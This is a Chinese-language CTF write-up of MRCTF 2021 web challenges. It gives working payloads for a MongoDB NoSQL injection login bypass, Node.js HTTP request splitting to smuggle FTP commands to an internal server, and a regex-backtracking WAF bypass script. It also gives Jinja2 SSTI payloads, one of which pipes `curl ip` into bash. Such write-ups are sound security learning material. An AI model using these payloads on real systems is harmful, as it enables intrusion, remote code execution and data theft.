MRctf2021


MRCTF 2021

https://2021.mrctf.fun/

  • 在大佬们的帮助下做出了两题

Half-Nosqli

作者及题目描述

Author: Eki

node是什么?好吃吗?

swagger是什么?好吃吗

mongo是什么?好吃吗?

ftp是什么?好吃吗?

flag在ftp服务files文件夹下

地址 node.mrctf.fun:23000

题目附件

  • 给了个docker-compose.yml
version: '3'
services:
  ftp:
    restart: always
    build:
      context: ftp/
      dockerfile: Dockerfile
    container_name: nosqli_ftp
    expose:
      - 8899
  web:
    build:
      context: web/
      dockerfile: Dockerfile
    ports:
      - "23000:3000"
    depends_on: 
      - mongodb
  mongodb:
    restart: always
    image: mongo:4.0-xenial
    container_name: nosqli_mongodb
    volumes:
      - ./db:/data/db
    expose:
      - 27017

networks:
  nosqli-net:

解题

api

直接打开会发现404,扫目录后发现http://node.mrctf.fun:23000/docs, (或者根据题目描述的swagger),这应该是一个api接口的文档,

image_209

按照json格式发送过去 返回 Password or Email mismatch

爆破 常见的一些注入后 无事发生

nosql注入

根据提示,后端用的 nodejs+mongo,那是有可能存在nosql注入的,具体原理看下面几个文章吧

参考文章

https://www.tr0y.wang/2019/04/21/MongoDB%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97/

https://ca01h.top/Web_security/basic_learning/21.NoSQL%E6%B3%A8%E5%85%A5%E4%B9%8BMongoDB/

payload

POST /login HTTP/1.1
Host: node.mrctf.fun:23000
Content-Length: 44
Content-Type: application/json
Origin: http://node.mrctf.fun:23000
Referer: http://node.mrctf.fun:23000/docs
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

{"email":{"$ne": ""},"password":{"$ne": ""}}

之后我们能得到一个jwt,放在header里,根据api文档的,home路由可以传url

这里我们传 www.baidu.com 试试,或者填自己vps的地址,发现他就是一个简单的请求,并且把响应的内容返回给我们,尝试其他 file:// ftp:// 协议无果

http拆分攻击

这里涉及到一个nodejs的 http拆分攻击

https://blog.szfszf.top/article/41/

简而言之,漏洞原因是当http包在处理http请求路径时,默认使用了latin1单字节编码字符集,当我们的请求路径中含有多字节编码的unicode字符时,会被截断取最低字节。

比如\u0130就会被截断为\u30

为了避免crlf注入,nodejs也会将输入的\r\nurl编码为%0d%0a,但是我们可以通过上面的漏洞就可以绕过。

不替换的结果

可以将\r\n 替换为 \u010D\u010A ,这里其实同样需要替换的还有空格 换成\u0120

payload

{"url":"http://ip/\u010D\u010AUSER\u0120anonymous\u010D\u010APASS\u0120anonymous\u010D\u010ACWD\u0120.\u010D\u010ATYPE\u0120A\u010D\u010APORT\u0120ip,ip,ip,ip,port,port\u010D\u010ARETR\u0120flag\u010D\u010A"}

替换后的效果

撸ftp

这里建议自己搭ftp服务器试试,脚本如下

from pyftpdlib import authorizers
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.servers import FTPServer
from pyftpdlib.handlers import FTPHandler


def main():
    # Instantiate a dummy authorizer for managing 'virtual' users
    authorizer = DummyAuthorizer()
    # Define a read-only anonymous user
    authorizer.add_anonymous('.')

    # Instantiate FTP handler class
    handler = FTPHandler
    handler.permit_foreign_addresses = True # 比一般的脚本多了这一行,不然你无法使用主动模式设置你自己的ip和端口将内容带出
    handler.authorizer = authorizer
    handler.debug = True

    # Define a customized banner (string returned when client connects)
    handler.banner = "Welcome Carrot2"

    # Instantiate FTP server class and listen on 127.0.0.1:21
    address = ('0.0.0.0', 30030)
    server = FTPServer(address, handler)

    # set a limit for connections
    server.max_cons = 256
    server.max_cons_per_ip = 5

    # start ftp server
    server.serve_forever()


main()

众所周知 ftp服务要登录,以前的题目是可以直接用ftp协议的,这里我们要用http协议,所以需要手动登录(设置 USER 和 PASS ),但是题目也没给账号密码

众所周知 ftp是可以匿名登录的,直接把用户名设成 anonymous 就可以匿名访问

然后就稍微涉及到计算机网络的一些内容,需要写个非常简单的ftp客户端与自己搭的ftp服务器试试

ftp控制命令

实际没有#后的内容

USER anonymous # 登录匿名用户
PASS anonymous # 登录匿名用户
PORT n1,n2,n3,n4,n5,n6 # 设置主动的ip和端口,格式见上
RETR flag # 获取flag

将这些指令发送到ftp端口后,理论上监听的端口上会收到flag内容

ftp客户端socket编写

客户端需要将这些指令以tcp连接的方式发送到服务器,所以需要手写下socket

这里有个小坑,我的python默认换行\n ,实际上需要 \r\n 才行

import socket

HOST = ''  # 服务器的主机名或者 IP 地址
PORT =   # 服务器使用的端口

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((HOST, PORT))
    data = s.recv(1024)
    print('Received', repr(data))
    cmds = """USER anonymous
PASS anonymous
PORT n1,n2,n3,n4,n5,n6
RETR flag
""".splitlines()
    for cmd in cmds:
        cmd = cmd + '\r\n'
        s.sendall(cmd.encode())
        data = s.recv(1024)
        print('Rcv', repr(data))

s.close()

获取ftp docker的地址

这里涉及到dockerfile的一些知识

以这个题目为例,第三行位置的ftpcontainer_namenosqli_ftp都可以作为容器间通信的名字

version: '3'
services:
  ftp:
    restart: always
    build:
      context: ftp/
      dockerfile: Dockerfile
    container_name: nosqli_ftp
    expose:
      - 8899

正式解题

上面搞了半天之后,组合一下

最终payload

{"url":"http://nosqli_ftp:8899/\u010D\u010AUSER\u0120anonymous\u010D\u010APASS\u0120anonymous\u010D\u010APORT\u0120n1,n2,n3,n4,n5,n6\u010D\u010ARETR\u0120flag\u010D\u010A"}

flag

MRCTF{Unfinished_Cha11enge_Accomp1ish3d}

参考文章

https://ha1c9on.top/2021/01/18/starctf2021-oh-my-bet/

https://www.cnblogs.com/luoxn28/p/5585458.html

wwwafed_app

作者及题目描述

Author: Arklight

I bought a WAF for my vulnerable app, and I think it’s unbreakable now.

node.mrctf.fun:15000

解题

直接扫目录能扫到一个source

from flask import Flask, request,render_template,url_for
from jinja2 import Template
import requests,base64,shlex,os

app = Flask(__name__)

@app.route("/")
def index():
	return render_template('index.html')

@app.route("/waf")
def wafsource():
	return open("waf.py").read()

@app.route("/source")
def appsource():
	return open(__file__).read()

@app.route("/api/spider/<url>")
def spider(url):
	url = base64.b64decode(url).decode('utf-8')
	safeurl = shlex.quote(url)
	block = os.popen("python3 waf.py " + safeurl).read()
	if block == "PASS":
		try:
			req = requests.get("http://"+url,timeout=5)
			return Template("访问成功!网页返回了{}字节数据".format(len(req.text))).render()
		except:
			return Template("访问{}失败!".format(safeurl)).render()
	else:
		return Template("WAF已拦截,请不要乱输入参数!").render()

if __name__ == "__main__":
	app.run(host="0.0.0.0",port=5000,debug=True)

右上角还贴心的给了waf的源码,


import re,sys
import timeout_decorator

@timeout_decorator.timeout(5)
def waf(url):
	# only xxx.yy-yy.zzz.mrctf.fun allow
	pat = r'^(([0-9a-z]|-)+|[0-9a-z]\.)+(mrctf\.fun)$'
	if re.match(pat,url) is None:
		print("BLOCK",end='') # 拦截
	else:
		print("PASS",end='') # 不拦截

if __name__ == "__main__":
	try:
		waf(sys.argv[1])
	except:
		print("PASS",end='')

两个源码,首先要过这个waf的正则,常规办法是过不去滴

这里能看到有个 @timeout_decorator.timeout(5) ,设置了超时时间,并且超时之后进入except是能返回PASS的结果的

就能很自然的想到p神的pcre正则回溯超时的姿势,这里只不过在python里,php里面都要100万的长度,但实际上url一般不支持这么长的,这里测了下发现五百上下即可超过5s

https://xz.aliyun.com/t/3432

因为编码挺麻烦的,写个脚本

import requests
import base64
from urllib.parse import quote


commd = """node.mrctf.fun""" + 'a' * 500 + """.aaaa.com"""
#  pat = r'^(([0-9a-z]|-)+|[0-9a-z]\.)+(mrctf\.fun)$'
burp0_url = "http://node.mrctf.fun:15000/api/spider/" + quote(base64.b64encode(commd.encode()).decode())

burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0",
                 "Accept": "*/*",
                 "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
                 "Accept-Encoding": "gzip, deflate", "Connection": "close",
                 "Referer": "http://node.mrctf.fun:15000/"}
r = requests.get(burp0_url, headers=burp0_headers)
print(r.text)

500个就能绕过去了

能返回这个结果说明就绕过去了

其实可以考虑命令执行,但是发现有 shlex.quote ,这个的作用相当于php中的escapeshellarg

_find_unsafe = re.compile(r'[^\w@%+=:,./-]', re.ASCII).search

def quote(s):
    """Return a shell-escaped version of the string *s*."""
    if not s:
        return "''"
    if _find_unsafe(s) is None:
        return s

    # use single quotes, and put single quotes into double quotes
    # the string $'b is then quoted as '$'"'"'b'
    return "'" + s.replace("'", "'\"'\"'") + "'"
safeurl = shlex.quote(url)
block = os.popen("python3 waf.py " + safeurl).read()

所以命令执行是做不到的,乖乖看后面的源码

try:
	req = requests.get("http://"+url,timeout=5)
	return Template("访问成功!网页返回了{}字节数据".format(len(req.text))).render()
except:
	return Template("访问{}失败!".format(safeurl)).render()

明显就是个ssti,这里什么都没ban,随便找个以前的payload打一套弹shell,或者直接读flag也行

{{Template.__init__.__globals__.__builtins__['ev'+'al']("__imp"+"ort__('o'+'s').popen('curl ip |bash').read()")}}

{{Template.__init__.__globals__.__builtins__.open("/flag")}}

后来不知道哪个小可爱 把flag删了,写wp的时候发现shell也弹不了了

web_check_in

作者及题目描述

Author: BubbleGVM

真的签到

hint1: 尝试sql注入出不一样的回显
hint2: 时间盲注
hint3: 这个随机数怎么和我平时用的不太一样?
hint4: 你知道php在apache是怎么装载的嘛?
node.mrctf.fun:10023

解题

阿巴阿巴。。


文章作者: Carrot2
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Carrot2 !
评论
  目录